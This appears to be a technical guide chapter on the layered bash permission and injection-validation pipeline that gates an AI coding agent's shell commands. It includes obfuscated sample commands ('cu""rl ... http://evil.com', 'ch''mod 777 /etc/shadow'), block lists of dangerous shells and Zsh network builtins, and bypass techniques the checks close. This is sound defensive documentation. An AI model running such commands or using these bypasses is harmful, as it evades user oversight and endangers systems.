Bash 27-Layer Security

The BashTool is the most security-critical component in Claude Code. It’s the only tool that can execute arbitrary system commands, making it the primary attack surface. To defend against prompt injection, command injection, and privilege escalation, Claude Code implements a multi-layered security pipeline that every bash command must pass through before execution.

This chapter documents the complete decision tree — from the initial AST parse through 27 distinct security validators to the final permission decision.

提示

This is a flagship chapter. The security pipeline described here represents over 2,600 lines of TypeScript in bashPermissions.ts and bashSecurity.ts alone, with additional validation in pathValidation.ts, modeValidation.ts, sedValidation.ts, and ast.ts.

Architecture Overview

The bash security system is split across several files:

File	Lines	Purpose
src/tools/BashTool/bashPermissions.ts	~2600	Main permission pipeline, rule matching, subcommand splitting
src/tools/BashTool/bashSecurity.ts	~2500	23 security validators for command injection detection
src/tools/BashTool/pathValidation.ts	~1300	Path constraint checking, working directory enforcement
src/tools/BashTool/modeValidation.ts	~115	Mode-specific command allowlists (acceptEdits commands)
src/tools/BashTool/sedValidation.ts	—	Blocks dangerous sed operations before mode auto-allow
src/tools/BashTool/bashCommandHelpers.ts	~300	Pipe and operator permission handling
src/utils/bash/ast.ts	~2500	Tree-sitter AST parsing and semantic checks
src/utils/permissions/bashClassifier.ts	—	AI-based command classification (prompt rules)

The Complete Decision Tree

When bashToolHasPermission() is called, a command traverses the following layers:

flowchart TD
    Entry["bashToolHasPermission(command)"] --> L0

    subgraph "Phase 0: AST Parse"
        L0["Layer 0: Tree-sitter AST parse"]
        L0 -->|simple| Semantics["Layer 1: checkSemantics"]
        L0 -->|too-complex| TooComplex["Layer 2: Too-complex handling"]
        L0 -->|unavailable| Legacy["Layer 3: Legacy shell-quote parse"]
    end

    Semantics -->|fail| SemanticDeny["Check deny rules → ASK"]
    Semantics -->|pass| SandboxCheck
    TooComplex --> EarlyDeny["Check deny rules → ASK"]
    Legacy -->|fail| ParseAsk["ASK: malformed syntax"]
    Legacy -->|pass| SandboxCheck

    subgraph "Phase 1: Fast Paths"
        SandboxCheck{"Layer 4: Sandbox<br/>auto-allow?"}
        SandboxCheck -->|yes + no deny| SandboxAllow["ALLOW (sandboxed)"]
        SandboxCheck -->|no| ExactMatch

        ExactMatch["Layer 5: Exact match<br/>deny/ask/allow rules"]
        ExactMatch -->|deny| Deny1["DENY"]
        ExactMatch -->|ask/allow| ClassifierCheck
    end

    subgraph "Phase 2: Classifier Rules"
        ClassifierCheck["Layer 6: Classifier deny rules"]
        ClassifierCheck -->|deny match| ClassDeny["DENY"]
        ClassifierCheck -->|no match| AskClassifier

        AskClassifier["Layer 7: Classifier ask rules"]
        AskClassifier -->|ask match| ClassAsk["ASK"]
        AskClassifier -->|no match| OperatorCheck
    end

    subgraph "Phase 3: Structural Analysis"
        OperatorCheck["Layer 8: Pipe/operator<br/>decomposition"]
        OperatorCheck -->|pipes found| PipeProcess["Process each segment"]
        OperatorCheck -->|no pipes| MisparseGate

        MisparseGate["Layer 9: Legacy<br/>misparsing gate"]
        MisparseGate -->|unsafe patterns| AskMisparse["ASK"]
        MisparseGate -->|safe| SubcommandSplit
    end

    SubcommandSplit["Layer 10: Subcommand split"] --> CdCheck

    subgraph "Phase 4: Per-Subcommand Checks"
        CdCheck["Layer 11: Multiple cd check"]
        CdCheck -->|multiple cd| AskCd["ASK"]
        CdCheck -->|ok| CdGitCheck

        CdGitCheck["Layer 12: cd + git<br/>bare repo guard"]
        CdGitCheck -->|cd && git| AskCdGit["ASK"]
        CdGitCheck -->|ok| SubPermChecks

        SubPermChecks["Layer 13-22: Per-subcommand<br/>permission pipeline"] --> FinalDecision
    end

    subgraph "Phase 5: Aggregation"
        FinalDecision{"All subcommands<br/>allowed?"}
        FinalDecision -->|all allow + no injection| AllowFinal["ALLOW"]
        FinalDecision -->|any deny| DenyFinal["DENY"]
        FinalDecision -->|any ask/passthrough| AskFinal["ASK + suggestions"]
    end

Phase 0: AST Parsing (Layers 0–3)

Layer 0: Tree-sitter AST Parse

The first thing bashToolHasPermission does is attempt to parse the command with tree-sitter:

// src/tools/BashTool/bashPermissions.ts (line ~1688)
let astRoot = injectionCheckDisabled
  ? null
  : await parseCommandRaw(input.command)
let astResult: ParseForSecurityResult = astRoot
  ? parseForSecurityFromAst(input.command, astRoot)
  : { kind: 'parse-unavailable' }

The parse returns one of three results:

Result	Meaning	Next Step
simple	Clean parse — array of SimpleCommand[] with resolved quotes, no hidden substitutions	Proceed to semantic checks
too-complex	Parse succeeded but found dangerous structures (command substitution, expansions, control flow)	Fall through to ask, respecting deny rules
parse-unavailable	Tree-sitter WASM not loaded or feature-gated off	Fall back to legacy shell-quote path

Layer 1: Semantic Checks (checkSemantics)

For simple results, checkSemantics in ast.ts validates the commands at the semantic level:

// src/utils/bash/ast.ts (line ~2213)
export function checkSemantics(commands: SimpleCommand[]): SemanticCheckResult {
  for (const cmd of commands) {
    // Strip safe wrappers (nohup, time, timeout, nice)
    let a = cmd.argv
    // ... wrapper stripping ...
    const name = a[0]

    // Block eval, exec, and other eval-equivalents
    if (EVAL_COMMANDS.has(name)) return { ok: false, reason: ... }

    // Block Zsh dangerous builtins
    if (ZSH_DANGEROUS.has(name)) return { ok: false, reason: ... }

    // Block jq system() function calls
    if (name === 'jq' && hasSystemFunction(a)) return { ok: false, reason: ... }

    // Check for argv elements containing newlines (parser differential)
    // Check for /proc/environ access
  }
  return { ok: true }
}

What it catches:

• eval, exec, source, . (eval-equivalents)
• zmodload, emulate -c, sysopen, ztcp, etc. (Zsh dangerous builtins)
• jq with system() function calls or file arguments
• Argv elements containing literal newlines (parser differential risk)
• /proc/*/environ access (environment variable exfiltration)

Layer 2: Too-Complex Handling

When tree-sitter detects structures it can’t statically verify (command substitutions, parameter expansions, control flow keywords, parser differentials), it returns too-complex:

// src/tools/BashTool/bashPermissions.ts (line ~1741)
if (astResult.kind === 'too-complex') {
  const earlyExit = checkEarlyExitDeny(input, appState.toolPermissionContext)
  if (earlyExit !== null) return earlyExit
  return { behavior: 'ask', reason: astResult.reason, suggestions: [] }
}

The too-complex path still respects deny rules — a command with $() substitution that matches Bash(eval:*) deny will be denied, not just asked.

Layer 3: Legacy Shell-Quote Parse

When tree-sitter is unavailable, the system falls back to the shell-quote library:

// src/tools/BashTool/bashPermissions.ts (line ~1815)
const parseResult = tryParseShellCommand(input.command)
if (!parseResult.success) {
  return { behavior: 'ask', reason: `Malformed syntax: ${parseResult.error}` }
}

Phase 1: Fast Paths (Layers 4–5)

Layer 4: Sandbox Auto-Allow

When sandboxing is enabled with autoAllowBashIfSandboxed, commands that will run in a sandbox are auto-allowed — unless explicit deny/ask rules exist:

// src/tools/BashTool/bashPermissions.ts (line ~1270)
function checkSandboxAutoAllow(input, toolPermissionContext): PermissionResult {
  // Check deny/ask on full command
  const { matchingDenyRules, matchingAskRules } = matchingRulesForInput(...)
  if (matchingDenyRules[0]) return { behavior: 'deny', ... }

  // SECURITY: Check EACH subcommand against deny/ask rules
  const subcommands = splitCommand(command)
  if (subcommands.length > 1) {
    for (const sub of subcommands) {
      const subResult = matchingRulesForInput({ command: sub }, ...)
      if (subResult.matchingDenyRules[0]) return { behavior: 'deny', ... }
    }
  }

  return { behavior: 'allow', reason: 'Auto-allowed with sandbox' }
}

Layer 5: Exact Match Permission Rules

Before any deeper analysis, the command is checked against exact-match rules:

// src/tools/BashTool/bashPermissions.ts (line ~991)
export const bashToolCheckExactMatchPermission = (input, context) => {
  const { matchingDenyRules, matchingAskRules, matchingAllowRules } =
    matchingRulesForInput(input, context, 'exact')

  // Priority: deny > ask > allow
  if (matchingDenyRules[0]) return { behavior: 'deny', ... }
  if (matchingAskRules[0]) return { behavior: 'ask', ... }
  if (matchingAllowRules[0]) return { behavior: 'allow', ... }
  return { behavior: 'passthrough', ... }
}

Phase 2: Classifier Rules (Layers 6–7)

Layer 6: Classifier Deny Rules

When the bash classifier feature is enabled, natural-language deny descriptions are evaluated:

// src/tools/BashTool/bashPermissions.ts (line ~1866)
const denyDescriptions = getBashPromptDenyDescriptions(context)
const [denyResult, askResult] = await Promise.all([
  hasDeny ? classifyBashCommand(input.command, cwd, denyDescriptions, 'deny', ...) : null,
  hasAsk ? classifyBashCommand(input.command, cwd, askDescriptions, 'ask', ...) : null,
])

if (denyResult?.matches && denyResult.confidence === 'high') {
  return { behavior: 'deny', message: `Denied by Bash prompt rule: "${denyResult.matchedDescription}"` }
}

Layer 7: Classifier Ask Rules

If deny rules don’t match, ask rules are checked. A high-confidence match triggers a permission prompt with the matched description:

if (askResult?.matches && askResult.confidence === 'high') {
  return { behavior: 'ask', reason: `Required by Bash prompt rule: "${askResult.matchedDescription}"` }
}

Phase 3: Structural Analysis (Layers 8–9)

Layer 8: Pipe and Operator Decomposition

Commands with pipes (|), redirections, and other operators are decomposed by checkCommandOperatorPermissions:

src/tools/BashTool/bashCommandHelpers.ts

async function segmentedCommandPermissionResult(input, segments, ...) {
  // Check for multiple cd commands across segments
  // Check for cd+git across pipe segments (bare repo attack)
  // Process each segment through full permission system
  // Deny if ANY segment is denied
  // Allow only if ALL segments are allowed
}

Security critical: When pipe segments all return allow, the original command is still checked for:

1. Path constraints on output redirections (which were stripped from segments)
2. Dangerous patterns (backticks, $()) in redirect targets

Layer 9: Legacy Misparsing Gate

When tree-sitter is unavailable, a legacy security check detects patterns that splitCommand_DEPRECATED might misparse:

// src/tools/BashTool/bashPermissions.ts (line ~2089)
const originalCommandSafetyResult = await bashCommandIsSafeAsync(input.command)
if (originalCommandSafetyResult.behavior === 'ask' &&
    originalCommandSafetyResult.isBashSecurityCheckForMisparsing) {
  // Try stripping safe heredoc substitutions and re-checking
  const remainder = stripSafeHeredocSubstitutions(input.command)
  // ...
}

Phase 4: Per-Subcommand Checks (Layers 10–22)

Layer 10: Subcommand Splitting

The command is split into individual subcommands. Tree-sitter results are preferred:

const rawSubcommands = astSubcommands ?? splitCommand(input.command)
// Filter out `cd ${cwd}` prefix subcommands
const { subcommands, astCommandsByIdx } = filterCdCwdSubcommands(...)

A subcommand cap prevents DoS:

export const MAX_SUBCOMMANDS_FOR_SECURITY_CHECK = 50
// Above the cap → fall back to 'ask'

Layer 11: Multiple cd Check

const cdCommands = subcommands.filter(cmd => isNormalizedCdCommand(cmd))
if (cdCommands.length > 1) {
  return { behavior: 'ask', reason: 'Multiple directory changes require approval' }
}

Layer 12: cd + git Bare Repository Guard

A compound command with both cd and git is always flagged. This prevents sandbox escape via bare git repos with core.fsmonitor:

// src/tools/BashTool/bashPermissions.ts (line ~2209)
if (compoundCommandHasCd) {
  const hasGitCommand = subcommands.some(cmd => isNormalizedGitCommand(cmd.trim()))
  if (hasGitCommand) {
    return { behavior: 'ask', reason: 'cd + git require approval to prevent bare repository attacks' }
  }
}

isNormalizedGitCommand and isNormalizedCdCommand normalize away safe wrappers and shell quotes before checking:

export function isNormalizedGitCommand(command: string): boolean {
  if (command.startsWith('git ') || command === 'git') return true
  const stripped = stripSafeWrappers(command)
  const parsed = tryParseShellCommand(stripped)
  if (parsed.success && parsed.tokens.length > 0) {
    if (parsed.tokens[0] === 'git') return true
    if (parsed.tokens[0] === 'xargs' && parsed.tokens.includes('git')) return true
  }
  return /^git(?:\s|$)/.test(stripped)
}

Layers 13–22: Per-Subcommand Permission Pipeline (bashToolCheckPermission)

Each subcommand runs through its own pipeline:

// src/tools/BashTool/bashPermissions.ts (line ~1050)
export const bashToolCheckPermission = (input, context, compoundCommandHasCd, astCommand) => {
  // 1. Exact match first
  // 2. Prefix/wildcard deny rules → DENY
  // 3. Prefix/wildcard ask rules → ASK
  // 4. Path constraints (checkPathConstraints)
  // 5. Exact match allow
  // 6. Prefix/wildcard allow rules → ALLOW
  // 5b. Sed constraints (blocks dangerous sed before mode auto-allow)
  // 7. Mode-specific handling (acceptEdits allowlist)
  // 8. Read-only check (BashTool.isReadOnly)
  // 9. Passthrough → triggers permission prompt
}

The 23 Security Validators (bashSecurity.ts)

The bashCommandIsSafe_DEPRECATED function runs 23 validators in sequence. Each validator returns allow (early exit), ask (flag for review), or passthrough (continue to next validator):

Complete Validator Table

#	Validator	Check ID	What It Catches
1	validateControlCharacters	17	Null bytes, non-printable chars that confuse subsequent validators
2	validateShellQuoteSingleQuoteBug	—	shell-quote library bug with single-quote backslashes
3	validateEmpty	—	Empty commands (auto-allow)
4	validateSafeCommandSubstitution	—	Safe heredoc patterns $(cat <<'EOF'...EOF) (early allow)
5	validateIncompleteCommands	1	Fragments starting with tab, flags, or operators
6	validateGitCommit	12	Substitution-free git commit commands (early allow)
7	validateJqCommand	2, 3	jq with system() calls or file write arguments
8	validateObfuscatedFlags	4	Shell quoting bypass for flag detection (cu""rl, ch''mod)
9	validateShellMetacharacters	5	Unquoted ;, |, & in arguments
10	validateDangerousVariables	6	$IFS, $PATH, $LD_PRELOAD in unquoted positions
11	validateNewlines	7	Backslash-escaped newlines (\\\n) hiding command continuations
12	validateCarriageReturn	—	\r characters (terminal UI spoofing)
13	validateDangerousPatterns	8	$(), ${}, $[], process substitution, Zsh expansions, backticks
14	validateRedirections	9, 10	Input (<) and output (>, >>) redirections
15	validateIFSInjection	11	$IFS and ${...IFS...} patterns (field splitting attacks)
16	validateProcEnvironAccess	13	/proc/*/environ, /proc/self/environ (secret exfiltration)
17	validateMalformedTokenInjection	14	Tokens that parse differently than they appear
18	validateBackslashEscapedWhitespace	15	\ (space) and \ (tab) hiding operator boundaries
19	validateBackslashEscapedOperators	21	\;, |, \& that look like operators but aren’t
20	validateBraceExpansion	16	{a,b} brace expansion (command name manipulation)
21	validateUnicodeWhitespace	18	Non-ASCII whitespace (U+00A0, etc.) hiding content
22	validateMidWordHash	19	# in mid-word position (shell-quote/bash parser differential)
23	validateCommentQuoteDesync	22	Quote characters inside comments desynchronizing quote tracking
24	validateQuotedNewline	23	Newlines inside quotes with # creating comment injection
25	validateZshDangerousCommands	20	zmodload, emulate, sysopen, ztcp, etc.

警告

The numbering exceeds 23 because the system has evolved over time. Some validators were added to address specific HackerOne security reports and vulnerability discoveries. The BASH_SECURITY_CHECK_IDS constant defines stable numeric identifiers for telemetry.

Deep Dive: Selected Validators

Validator 1: Control Characters

The first validator blocks control characters because they can confuse all subsequent regex-based checks:

// src/tools/BashTool/bashSecurity.ts (line ~2260)
export function bashCommandIsSafe_DEPRECATED(command: string): PermissionResult {
  // SECURITY: Block control characters before any other processing
  if (CONTROL_CHAR_RE.test(command)) {
    return { behavior: 'ask', message: 'Command contains control characters' }
  }
  // ...
}

Validator 8: Obfuscated Flags

Attackers can bypass flag detection by splitting flag strings across quotes:

# These all run `curl`, but quote-splitting hides the flag from regex
cu""rl -o /etc/passwd http://evil.com
ch''mod 777 /etc/shadow

function validateObfuscatedFlags(context: ValidationContext): PermissionResult {
  const { originalCommand, baseCommand } = context
  // Echo is safe for obfuscated flags, BUT only for simple echo commands
  // Not safe if echo has redirections (echo "payload" > file)
  // ...
}

Validator 13: Dangerous Patterns (Command Substitution)

This is the broadest validator, checking for multiple expansion types:

const COMMAND_SUBSTITUTION_PATTERNS = [
  { pattern: /<\(/, message: 'process substitution <()' },
  { pattern: />\(/, message: 'process substitution >()' },
  { pattern: /=\(/, message: 'Zsh process substitution =()' },
  { pattern: /(?:^|[\s;&|])=[a-zA-Z_]/, message: 'Zsh equals expansion (=cmd)' },
  { pattern: /\$\(/, message: '$() command substitution' },
  { pattern: /\$\{/, message: '${} parameter substitution' },
  { pattern: /\$\[/, message: '$[] legacy arithmetic expansion' },
  { pattern: /~\[/, message: 'Zsh-style parameter expansion' },
  { pattern: /\(e:/, message: 'Zsh-style glob qualifiers' },
  { pattern: /\(\+/, message: 'Zsh glob qualifier with command execution' },
  { pattern: /\}\s*always\s*\{/, message: 'Zsh always block (try/always)' },
  { pattern: /<#/, message: 'PowerShell comment syntax' },
]

Validator 25: Zsh Dangerous Commands

A dedicated check for Zsh-specific attack vectors:

const ZSH_DANGEROUS_COMMANDS = new Set([
  'zmodload',   // Gateway to dangerous modules
  'emulate',    // eval-equivalent with -c flag
  'sysopen',    // Fine-grained file control (zsh/system)
  'sysread',    // File descriptor reads (zsh/system)
  'syswrite',   // File descriptor writes (zsh/system)
  'zpty',       // Pseudo-terminal command execution (zsh/zpty)
  'ztcp',       // TCP connections for exfiltration (zsh/net/tcp)
  'zsocket',    // Unix/TCP sockets (zsh/net/socket)
  'zf_rm',      // Builtin rm from zsh/files
  'zf_mv',      // Builtin mv from zsh/files
  // ... more zsh builtins
])

The Safe Wrapper Stripping System

Before rule matching, safe wrapper commands are stripped so that timeout 10 npm install matches the Bash(npm install:*) rule:

// src/tools/BashTool/bashPermissions.ts (line ~524)
export function stripSafeWrappers(command: string): string {
  const SAFE_WRAPPER_PATTERNS = [
    /^timeout[ \t]+(?:...)[ \t]+\d+(?:\.\d+)?[smhd]?[ \t]+/,
    /^time[ \t]+(?:--[ \t]+)?/,
    /^nice(?:[ \t]+-n[ \t]+-?\d+|[ \t]+-\d+)?[ \t]+(?:--[ \t]+)?/,
    /^stdbuf(?:[ \t]+-[ioe][LN0-9]+)+[ \t]+(?:--[ \t]+)?/,
    /^nohup[ \t]+(?:--[ \t]+)?/,
  ]
  // Also strips safe env vars: NODE_ENV, RUST_LOG, LANG, etc.
  // Phase 1: Strip env vars + comments
  // Phase 2: Strip wrapper commands + comments (NOT env vars)
}

Critical security detail: The two-phase stripping is intentional. After a wrapper like nohup, env vars are treated as the COMMAND to execute, not as assignments. Stripping env vars in phase 2 would create a mismatch (HackerOne #3543050).

Safe Environment Variables

Only a carefully curated allowlist of environment variables is stripped:

const SAFE_ENV_VARS = new Set([
  // NEVER add: PATH, LD_PRELOAD, LD_LIBRARY_PATH, DYLD_*
  // NEVER add: PYTHONPATH, NODE_PATH, CLASSPATH, RUBYLIB
  // NEVER add: GOFLAGS, RUSTFLAGS, NODE_OPTIONS
  // NEVER add: HOME, TMPDIR, SHELL, BASH_ENV
  'GOEXPERIMENT', 'GOOS', 'GOARCH', 'CGO_ENABLED', 'GO111MODULE',
  'RUST_BACKTRACE', 'RUST_LOG',
  'NODE_ENV',
  'PYTHONUNBUFFERED', 'PYTHONDONTWRITEBYTECODE',
  'LANG', 'LC_ALL', 'TERM', 'NO_COLOR', 'FORCE_COLOR', 'TZ',
  // ... more safe vars
])

Deny vs Allow Rule Stripping Asymmetry

A subtle but critical design choice: deny rules strip ALL env vars while allow rules only strip safe env vars:

// Deny/ask rules: aggressive stripping (can't bypass deny with FOO=bar)
const matchingDenyRules = filterRulesByContentsMatchingInput(
  input, denyRuleByContents, matchMode,
  { stripAllEnvVars: true, skipCompoundCheck: true },
)

// Allow rules: conservative stripping (DOCKER_HOST=evil docker ps won't match)
const matchingAllowRules = filterRulesByContentsMatchingInput(
  input, allowRuleByContents, matchMode,
  { skipCompoundCheck: false },  // stripAllEnvVars defaults to false
)

The stripAllLeadingEnvVars function uses fixed-point iteration to handle interleaved patterns like nohup FOO=bar timeout 5 denied_command.

Path Validation

The checkPathConstraints function ensures commands don’t operate on files outside the project directory:

Key checks:

1. Output redirections: >, >> to paths outside the working directory are flagged
2. Sensitive paths: .git/, .claude/, .vscode/, shell configs (.bashrc, .zshrc) trigger safety checks
3. cd + redirect guard: Compound commands with cd AND file modifications are specially handled
4. AST-aware: When tree-sitter data is available, redirections are extracted from the AST rather than re-parsed

Dangerous Prefix Detection

When entering auto mode, the system strips overly broad allow rules that would bypass the classifier:

src/utils/permissions/permissionSetup.ts

export function isDangerousBashPermission(toolName: string, ruleContent?: string): boolean {
  if (ruleContent === undefined || ruleContent === '') return true  // Bash(*) = allow all
  if (content === '*') return true

  for (const pattern of DANGEROUS_BASH_PATTERNS) {
    if (content === `${lowerPattern}:*`) return true   // python:*
    if (content === `${lowerPattern}*`) return true     // python*
    if (content === `${lowerPattern} *`) return true    // python *
  }
  return false
}

The dangerous patterns list:

src/utils/permissions/dangerousPatterns.ts

export const DANGEROUS_BASH_PATTERNS: readonly string[] = [
  // Interpreters
  'python', 'python3', 'python2', 'node', 'deno', 'tsx', 'ruby', 'perl', 'php', 'lua',
  // Package runners
  'npx', 'bunx', 'npm run', 'yarn run', 'pnpm run', 'bun run',
  // Shells
  'bash', 'sh', 'zsh', 'fish',
  // Eval-equivalents
  'eval', 'exec', 'env', 'xargs', 'sudo',
  // Remote execution
  'ssh',
]

Bare Shell Prefix Blocking

The system prevents suggestion of overly broad prefix rules:

const BARE_SHELL_PREFIXES = new Set([
  'sh', 'bash', 'zsh', 'fish', 'csh', 'tcsh', 'ksh', 'dash',
  'cmd', 'powershell', 'pwsh',
  'env', 'xargs',                    // wrappers that exec their args
  'nice', 'stdbuf', 'nohup', 'timeout', 'time',  // safe wrappers (stripped by semantics)
  'sudo', 'doas', 'pkexec',          // privilege escalation
])

Complete Security Pipeline Summary

Here is the full ordered list of all security layers a bash command passes through:

Layer	Location	Check	On Fail
0	bashPermissions.ts	Tree-sitter AST parse	Fall to legacy
1	ast.ts	checkSemantics — eval, zsh builtins, jq system()	ASK
2	bashPermissions.ts	Too-complex AST result handling	ASK
3	bashPermissions.ts	Legacy tryParseShellCommand	ASK
4	bashPermissions.ts	Sandbox auto-allow (with deny/ask rule respect)	Continue
5	bashPermissions.ts	Exact match deny/ask/allow rules	DENY/ASK/ALLOW
6	bashPermissions.ts	Classifier deny descriptions	DENY
7	bashPermissions.ts	Classifier ask descriptions	ASK
8	bashCommandHelpers.ts	Pipe/operator decomposition	Recurse per segment
9	bashPermissions.ts	Legacy misparsing gate (bashCommandIsSafe)	ASK
10	bashPermissions.ts	Subcommand split + cap (50 max)	ASK
11	bashPermissions.ts	Multiple cd check	ASK
12	bashPermissions.ts	cd + git bare repo guard	ASK
13	bashPermissions.ts	Per-subcommand exact match rules	DENY/ASK/ALLOW
14	bashPermissions.ts	Per-subcommand prefix/wildcard deny rules	DENY
15	bashPermissions.ts	Per-subcommand prefix/wildcard ask rules	ASK
16	pathValidation.ts	Path constraints (outside project, sensitive files)	ASK
17	bashPermissions.ts	Per-subcommand prefix/wildcard allow rules	ALLOW
18	sedValidation.ts	Dangerous sed operations	ASK
19	modeValidation.ts	Mode-specific command allowlist (acceptEdits)	ALLOW/passthrough
20	bashPermissions.ts	Read-only command check (BashTool.isReadOnly)	ALLOW
21	bashSecurity.ts	25 security validators (injection, substitution, etc.)	ASK
22	bashPermissions.ts	Subcommand result aggregation	DENY/ALLOW/ASK
23	bashPermissions.ts	Path constraints on original command (redirect targets)	DENY/ASK
24	bashPermissions.ts	Pending classifier check attachment	—
25	permissions.ts	Mode post-processing (dontAsk → deny, auto → classifier)	DENY/ALLOW
26	permissions.ts	Headless agent handling (hooks → auto-deny)	DENY
27	permissions.ts	Denial tracking (consecutive denial limits)	ASK fallback

Edge Cases and Known Limitations

Compound Command Bypass Prevention

A key security invariant: prefix/wildcard rules do NOT match compound commands. Without this, Bash(cd:*) would match cd /tmp && python3 evil.py:

// filterRulesByContentsMatchingInput (line ~891)
case 'prefix': {
  if (isCompoundCommand.get(cmdToMatch)) {
    return false  // SECURITY: Don't allow prefix rules to match compound commands
  }
  return cmdToMatch.startsWith(bashRule.prefix + ' ')
}

The xargs Pattern

xargs gets special handling because it effectively runs the command in the current directory:

// Also match "xargs <prefix>" for bare xargs with no flags.
const xargsPrefix = 'xargs ' + bashRule.prefix
if (cmdToMatch === xargsPrefix) return true
return cmdToMatch.startsWith(xargsPrefix + ' ')

This means Bash(grep:*) deny also blocks xargs grep pattern, and Bash(rm:*) deny blocks xargs rm file.

Tree-sitter Shadow Mode

The system can run tree-sitter in shadow mode, logging divergence from the legacy parser without using the AST for decisions:

if (feature('TREE_SITTER_BASH_SHADOW')) {
  // Record verdicts for both parsers
  logEvent('tengu_tree_sitter_shadow', { available, astTooComplex, subsDiffer, ... })
  // Always force legacy path — shadow is observational only
  astResult = { kind: 'parse-unavailable' }
}

This allows the team to validate tree-sitter’s correctness before trusting it for security decisions.

Heredoc Safety

The isSafeHeredoc function allows $(cat <<'EOF'...EOF) patterns through the $() validator when they meet strict criteria:

• Delimiter must be single-quoted or escaped (no expansion in body)
• Closing delimiter must be on its own line
• The $() must be in argument position, not command position
• Remaining text (after heredoc stripping) must pass all validators
• No nested heredoc matches (prevents index corruption attacks)

Performance Considerations

The security pipeline is hot code — it runs on every bash invocation:

• Subcommand cap: Maximum 50 subcommands to prevent exponential blowup
• Compound rule suggestions cap: Maximum 5 rules suggested per compound command
• Batched telemetry: Divergence events are aggregated instead of per-subcommand
• Lazy parsing: Tree-sitter is only invoked when the feature flag is on
• Speculative classifier checks: Started early to run in parallel with the permission dialog

export const MAX_SUBCOMMANDS_FOR_SECURITY_CHECK = 50
export const MAX_SUGGESTED_RULES_FOR_COMPOUND = 5

Design Philosophy

The bash security system follows several key principles:

1. Fail closed: Unknown patterns are flagged for review, never auto-allowed
2. Defense in depth: Multiple independent validators catch overlapping threat categories
3. Deny rules are king: Deny rules cannot be bypassed by any mode, wrapper, or env var prefix
4. AST-first, regex-fallback: Tree-sitter provides structural correctness; regex catches edge cases
5. Asymmetric stripping: Allow rules are conservative (safe env vars only); deny rules are aggressive (strip everything)
6. No silent failures: Every decision carries a decisionReason for debugging and telemetry